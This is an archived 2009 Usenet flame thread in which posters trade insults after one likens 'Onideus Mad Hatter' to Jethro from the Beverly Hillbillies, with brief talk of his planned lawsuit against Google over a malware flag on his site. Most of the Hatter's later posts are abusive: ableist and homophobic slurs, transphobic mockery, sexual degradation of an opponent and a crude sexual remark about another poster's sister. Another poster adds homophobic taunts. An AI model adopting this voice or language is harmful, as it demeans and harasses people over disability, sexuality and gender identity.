Cliff did have a pretty cool voice though, plus he got to have a
relationship (albeit short lived), with Annie Golden:
http://userserve-ak.last.fm/serve/252/397013.jpg
Who in her younger days would be very much my type (or one of my
types).
Cliff was a "know it all" but a "know it all" of useless trivia. I'm
a bit of a "know it all" but only in very specific areas. I do have a
lot of worldly experiences, although that hardly makes me any sort of
an expert in EVERY area.
The whole "Jethro" angle is very obviously a blatant attack, but then
I can hardly blame Fred, seeing as how often he's been humiliated and
verbally beaten by me, he very much has a "need" for it.
Onideus Mad Hatter
Which one? And how so? I'm certainly not attracted to men, to the
point where I even threw up watching the movie Threesome, during the
final scene with the two guys and the girl getting it on. Also not a
cross dresser. In fact never even in any of the plays I did, on
Halloween nor any other costumed event have I cross dressed. The
closest I ever came to cross dressing was when I dressed up in a toga
to play a random Roman and when I played Romeo and wore "manly
tights". LOL
I've usually always gone for more "manly" and "power" roles, even my
PJs reflected this attitude:
http://www.backwater-productions.net/_images/_Photos/Keeristmas_1980_Something.jpg
I played with GI Joes a *LOT* when I was a kid. Along with He-Man,
Transformers, Star Wars, Ghostbusters, Legos, and a few others. I was
very much a boys boy:
http://www.backwater-productions.net/_images/_Photos/Early_80s_Hatter.jpg
This was probably the girliest I ever got:
http://www.backwater-productions.net/_images/_Photos/Fag_Cake.jpg
Which admittedly I have something of a color fetish. I've often
collected things simply because of their vibrant color and one of my
favorite things to do is peruse the towel section in department
stores...all those brilliantly colored towels under those neonic
fluorescent lights...*shudder*...it's like visual masturbation. That
and blood, I very much have a "thing" for blood:
http://www.backwater-productions.net/_images/_Muses/Angelina_Jolie_Blood_Lust.jpg
http://www.backwater-productions.net/_images/_Muses/I_Do_Not_Know_Why_I_Lust_For_Blood.jpg
Although in some respects that might be related to the whole color
infatuation, especially in that I only tend to like blood when it
looks really vibrantly crimson and "perfect" looking so to speak.
Back to Baldrick, I'm certainly not and have never been a follower,
always a leader. And I'm not much for coming up with overly elaborate
or nonsensical "cunning plans" so much as I tend to plan with more
logic than creativity.
--
Onideus Mad Hatter
mhm ą x ą
Fred Doyle
> Fred Doyle wrote:
>> I know I'm dating myself with this metaphor, but the sitcom character
>> I'd liken you to is Jethro on the Beverly Hillbillies (my childhood was
>> in the early 1960's.) Although I'd accept other nominations as to
>> characters Matt reminds people of.
>>
> How about Cliff Claven from Cheers?
>
That's an obvious one.
Fred Doyle
Fred Doyle
> The whole "Jethro" angle is very obviously a blatant attack, but then
> I can hardly blame Fred, seeing as how often he's been humiliated and
> verbally beaten by me, he very much has a "need" for it.
>
It was?...Its just my perception. You're free to see whatever you want
into it. Kind of like me seeing you as Jethro.
Fred Doyle
Fred Doyle
>
> Baldrick.
>
Wow, interesting choice.
Fred Doyle
Onideus Mad Hatter
wrote:
>Onideus Mad Hatter wrote:
Is that really all the better of an excuse you can come up with? You
can't defend your retardation as being anything other than a blatant
attack so you simply cop out with "it's just my perception"...yeah,
it's your "perception" alright, the "perception" of a Hatter Addict
desperate to try and "get back" at me. LOL
Fred Doyle
ng you as Jethro.
>
> Is that really all the better of an excuse you can come up with? You
> can't defend your retardation as being anything other than a blatant
> attack so you simply cop out with "it's just my perception"...yeah,
> it's your "perception" alright, the "perception" of a Hatter Addict
> desperate to try and "get back" at me. LOL
Ah...fell better now?
Fred Doyle
Mr Serious
productions.net> wrote:
> On Fri, 06 Feb 2009 07:41:38 -0500, Fred Doyle <fdoy...@nycap.rr.com>
> wrote:
>
> >Mr Serious wrote:
> >> Hatter how is the lawsuit going? Would be good to kept up to date on
> >> it.
>
> >Oh, an<COCK SLAP>
>
> ...holy shit...is this really how you dipshits spent your Friday? Man
> that is just...sad...sad on a level only a Hatter Addict could
> achieve. Tell us, are you going to spend your Saturday doing more of
> the same retardation or have you finished obsessing over all things
> "me" for the time being? Think slow now, don't hurt yourself.
No it is how I spent 5 minutes of my Friday whilst bored at work.
Dude you are suing Google; that is rather a big deal. I'm just
interested to know how much you get from them. You really shouldn't
be so rude to people all the time.
Onideus Mad Hatter
wrote:
>Onideus Mad Hatter wrote:
I like the way you start making spelling, grammar and punctuation
mistakes when you get real flustered and start "felling" like you got
humiliated real bad.
LOL
Come on Freddie Boi, even if it's a "perception" it *STILL* has to be
a "perception" based on *SOMETHING*, so tell us all how you came to
that conclusion. Please, don't spare any details. Be sure to
backpedal real hard if you need to. Oh and you might want to proof
read yer posts before hammering that reply button in frustrated
anger...I'm just sayin.
Onideus Mad Hatter
<fieb...@gmail.com> wrote:
>On Feb 7, 2:47 pm, Onideus Mad Hatter <use...@backwater-
>productions.net> wrote:
>> On Fri, 06 Feb 2009 07:41:38 -0500, Fred Doyle <fdoy...@nycap.rr.com>
>> wrote:
>>
>> >Mr Serious wrote:
>> >> Hatter how is the lawsuit going? Would be good to kept up to date on
>> >> it.
>>
>> >Oh, an<COCK SLAP>
>>
>> ...holy shit...is this really how you dipshits spent your Friday? Man
>> that is just...sad...sad on a level only a Hatter Addict could
>> achieve. Tell us, are you going to spend your Saturday doing more of
>> the same retardation or have you finished obsessing over all things
>> "me" for the time being? Think slow now, don't hurt yourself.
>
>No it is how I spent 5 minutes of my Friday whilst bored at work.
>Dude you are suing Google; that is rather a big deal.
Not really, Google is getting sued all the time, and for heaps more
money than I'm looking at suing them for.
>I'm just interested to know how much you get from them.
At this point I'm not even sure how much I'm going to go for.
Considering that they effectively crippled over 99.99% of everything
on my server for nearly two weeks straight when only .01% of the
content actually had anything wrong with it (albeit a benign exploit),
probably I'll be calculating it out at around thousand dollars a day,
so around $14,000 total.
But then again I also have to think about how they have effectively
damaged and tainted my businesses names (not simply Backwater
Productions), essentially painting them as untrustworthy and
nefarious, what with the whole reasoning given as 'the site is
suspicious' rather than specifically saying, 'one page of the site has
one malware script, which is on this specific page'. Essentially what
Google is doing is passing personal judgment on businesses and their
owners, rather than specifically listing what it is that's wrong with
the site.
Given that, I could effectively calculate the damages as high as 25 to
50 thousand...exponentially higher if I wanted to get real greedy.
>You really shouldn't be so rude to people all the time.
You really shouldn't take things on Usenet so seriously...especially
me.
--
Onideus Mad Hatter
mhm ¹ x ¹
Fred Doyle
> On Sat, 07 Feb 2009 15:55:33 -0500, Fred Doyle <fdo...@nycap.rr.com>
> wrote:
>
>> Onideus Mad Hatter wrote:
>> ng you as Jethro.
>>> Is that really all the better of an excuse you can come up with? You
>>> can't defend your retardation as being anything other than a blatant
>>> attack so you simply cop out with "it's just my perception"...yeah,
>>> it's your "perception" alright, the "perception" of a Hatter Addict
>>> desperate to try and "get back" at me. LOL
>> Ah...fell better now?
>
> I like the way you start making spelling, grammar and punctuation
> mistakes when you get real flustered and start "felling" like you got
> humiliated real bad.
>
> LOL
>
> Come on Freddie Boi, even if it's a "perception" it *STILL* has to be
> a "perception" based on *SOMETHING*, so tell us all how you came to
> that conclusion. Please, don't spare any details. Be sure to
> backpedal real hard if you need to. Oh and you might want to proof
> read yer posts before hammering that reply button in frustrated
> anger...I'm just sayin.
>
Obviously you're not felling much better. What is it that you need me to
explain to you? My perceptions? Why are they giving you such a hard time?
You remind me of Jethro on the Beverly Hillbillies. He was the nephew
of Jed who found oil when he was shootin' at some food. Are you saying
you need to know why you remind me of that character?
Fred Doyle
asdf
"Fred Doyle" <fdo...@nycap.rr.com> wrote in message
news:Wrijl.336$I93...@newsfe18.iad...
How about:
http://upload.wikimedia.org/wikipedia/en/7/79/The_Simpsons-Jeff_Albertson.png
ROFL
asdf
"Onideus Mad Hatter" <use...@backwater-productions.net> wrote in message
news:tsfro4lm7tn0m2uvm...@4ax.com...
A 'Napoleon Complex' does not a leader make.
Dead Kitten
Somebody who drones on and on about how they aren't gay is definitely gay.
And notice that all he talks about are guys and power and leadership and
blood, nonstop. Deep down he wants a big guy to come into his bedroom
and order him around and punish him and stuff. What a fuckin sicko, huh?
Onideus Mad Hatter
wrote:
>Onideus Mad Hatter wrote:
>> On Sat, 07 Feb 2009 15:55:33 -0500, Fred Doyle <fdo...@nycap.rr.com>
>> wrote:
>>
>>> Onideus Mad Hatter wrote:
>>> ng you as Jethro.
>>>> Is that really all the better of an excuse you can come up with? You
>>>> can't defend your retardation as being anything other than a blatant
>>>> attack so you simply cop out with "it's just my perception"...yeah,
>>>> it's your "perception" alright, the "perception" of a Hatter Addict
>>>> desperate to try and "get back" at me. LOL
>>> Ah...fell better now?
>>
>> I like the way you start making spelling, grammar and punctuation
>> mistakes when you get real flustered and start "felling" like you got
>> humiliated real bad.
>>
>> LOL
>>
>> Come on Freddie Boi, even if it's a "perception" it *STILL* has to be
>> a "perception" based on *SOMETHING*, so tell us all how you came to
>> that conclusion. Please, don't spare any details. Be sure to
>> backpedal real hard if you need to. Oh and you might want to proof
>> read yer posts before hammering that reply button in frustrated
>> anger...I'm just sayin.
>>
>
>Obviously you're not felling much better.
*DING* *DING* *DING* *DING*
Uh oh, it's the IKYABWAI alarm! Batten down the hatches, raise
shields, tighten your belts, PEE WEE is comin in for an attack! He
*KNOWS* that *YOU* are, but what is he?!
LOL, yeah...IKY lames are really all the better you can do, huh
Jethro?
>What is it that you need me to explain to you?
WOW, boy Jethro, I don't mean to point out what a projectionistic
little pig fucker you are, but...damn, just...DAMN! o_O
>My perceptions? Why are they giving you such a hard time?
>
>You remind me of Jethro on the Beverly Hillbillies. He was the nephew
>of Jed who found oil when he was shootin' at some food. Are you saying
>you need to know why you remind me of that character?
*face palm*
Does somebody wanna take the effort and bother to try explaining this
to Jethro here? Cause seriously, his idiocy is just starting to give
me a migraine. I mean can somebody really be *THIS* clueless? It's
actually kind of frightening.
--
Onideus Mad Hatter
mhm ą x ą
Fred Doyle
I do perceive you as being upset at something I've said. Is that correct?
Fred Doyle
Onideus Mad Hatter
Wow, boy that certainly isn't raping a logistical fallacy straight the
fuck up the ass, innt queermo? Oh, wait, you had yer dick lopped off
already, I forgot. Yer tits could still use a little work there
though, Honey Bunny. Also don't be skippin on those electrolysis
treatments, nobody likes a hairy bitch...well unless you're a
Eurotard, but what the fuck do those smelly bitches know?
>And no<COCK SLAP>
This is the part where you get the fuck on yer knees and start suckin
me off, Bitch. I'll slap you around real hard afterwards too if you
want. I know a lot of girls like you really like it when a guy treats
you like shit. Know your role! LOL
--
Onideus Mad Hatter
mhm น x น
Onideus Mad Hatter
wrote:
...I'm sorry Fred, but I'm afraid you've fucked up in a rather
horrific way. You see...every time I see you post now...I just can't
stop picturing you as Jethro...LOL...I mean, yer *JUST* like him!
You're ~completely~ clueless, you have *NO* fuckin idea at *ALL* as to
what's even going on around you. You think you're "winning" when it's
obvious to everyone else that you're getting bitch slapped with your
own idiocy eight ways to last week. Your idea of "getting back" at
someone involves projecting YOUR OWN blatant idiocy onto others and
then COMPLETELY FAILING to string together even *ONE* coherent
arguement as to how the accusation even makes the ~slightest~ bit of
sense (where as I can easily explain EXACTLY how you post like
Jethro).
*face palm*
Seriously d00d, I'm gonna give ya a little piece of advice here...
...shut the fuck up.
*nods*
Cause every time you start bumbling those fat, grubby little fuckin
fingers of yers across that greasy stained keyboard of
yours...yeah...all you do is make an idiot of yourself. That's it
Fred, that's *ALL* you ever do on Usenet anymore. So please, have at
least some shred of self fucking respect and stop abusing yourself
like this, stop humiliating yourself for the benefit of my
entertainment. If for no other reason do it for your family, do it so
they won't have to endure the horrible shame you bring upon yourself
AND THEM by posting like such an ignorant fuckin retard.
--
Onideus Mad Hatter
mhm น x น
Onideus Mad Hatter
And how am I anything like Napoleon? Fuck man, you don't know me, you
don't know shit about me, so go fuck yerself...and I'll go fuck yer
sister, mmm, yeah you know that bitch needs loosened up. Want me to
take some pictures? I'll sell em to ya...*REAAAAAL* cheap too. *nods*
--
Onideus Mad Hatter
mhm น x น